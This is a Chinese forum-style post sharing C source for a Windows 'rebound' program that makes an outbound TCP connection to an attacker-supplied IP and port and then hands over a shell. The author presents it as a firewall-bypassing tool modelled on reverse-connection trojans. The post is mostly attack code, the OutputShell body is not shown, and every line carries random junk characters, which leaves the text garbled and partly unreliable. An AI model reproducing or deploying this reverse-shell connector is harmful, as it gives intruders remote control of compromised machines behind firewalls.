这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +-nQ,
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/* ============================== ``<1Lo@
Rebound port in Windows NT 1%@~J\qF
By wind,2006/7 Qm.kXlsDI
===============================*/ 0\#Q;Z2
#include % *G)*n
#include lewDR"0Kx
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#pragma comment(lib,"wsock32.lib") fA8+SaXW%
% KA/
void OutputShell(); 3-R3Qlr
SOCKET sClient; 0hkuBQb\
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; yn#h$o<
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void main(int argc,char **argv) l17ZNDzLU
{ 'JMa2/7CG
WSADATA stWsaData; $aA.d^
int nRet; #~x5}8
SOCKADDR_IN stSaiClient,stSaiServer; *[5
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if(argc != 3) HIq1/)
{ ]2(c$R
printf("Useage:\n\rRebound DestIP DestPort\n"); EDo@J2A
return; @(cS8%wK
} xB(:d'1|
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WSAStartup(MAKEWORD(2,2),&stWsaData); <n\.S
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @EY}iK~
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stSaiClient.sin_family = AF_INET; K|G$s
stSaiClient.sin_port = htons(0); ja;5:=8A5
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); -"e}YN/
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) x3s^u~C)(w
{ Wn^^Q5U#
printf("Bind Socket Failed!\n"); faq
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return; %jxuH+L
} >D/~|`=p
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stSaiServer.sin_family = AF_INET; FZnHG;af
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); .NT&>X~.V
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); zcKC5vqb
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) i'wF>EBz
{ ?X'*
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printf("Connect Error!"); ?i~/gjp
return; }BJ1#<
} hzLGmWN2j8
OutputShell(); 2mZ/
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} ge?-^s4M
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